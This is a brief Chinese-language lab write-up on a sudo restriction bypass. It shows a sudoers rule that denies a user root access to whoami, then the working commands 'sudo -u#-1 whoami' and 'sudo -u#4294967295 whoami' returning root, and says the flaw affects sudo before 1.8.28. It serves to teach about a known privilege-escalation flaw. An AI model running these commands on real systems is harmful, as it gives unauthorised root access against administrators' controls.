基础知识

sudo命令

1
-u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码

配置文件

/etc/sudoers 管理员通常通过修改该文件来限制其他用户可以执行的命令

1
2
3
# User privilege specification
root ALL=(ALL:ALL) ALL
test ALL=(ALL, !root) /usr/bin/whoami

这里限制test用户以root权限去执行whoami

测试

1
2
3
4
5
6
7
8
9
10
11
12
[email protected]:~$ sudo su test
$ sudo whoami
[sudo] test 的密码:
对不起,用户 test 无权以 root 的身份在 ddd 上执行 /usr/bin/whoami。
正常情况下,test用户已经被admin限制,不能执行whoami

看一下版本
$ sudo -V
Sudo 版本 1.8.21p2
Sudoers 策略插件版本 1.8.21p2
Sudoers 文件语法版本 46
Sudoers I/O plugin version 1.8.21p2

绕过

1
2
3
4
5
6
$ sudo -u#-1 whoami
[sudo] test 的密码:
root

sudo -u#4294967295 whoami
sudo -u#-1 whoami

限制

sudo<1.8.28版本

参考链接

https://www.freebuf.com/vuls/217089.html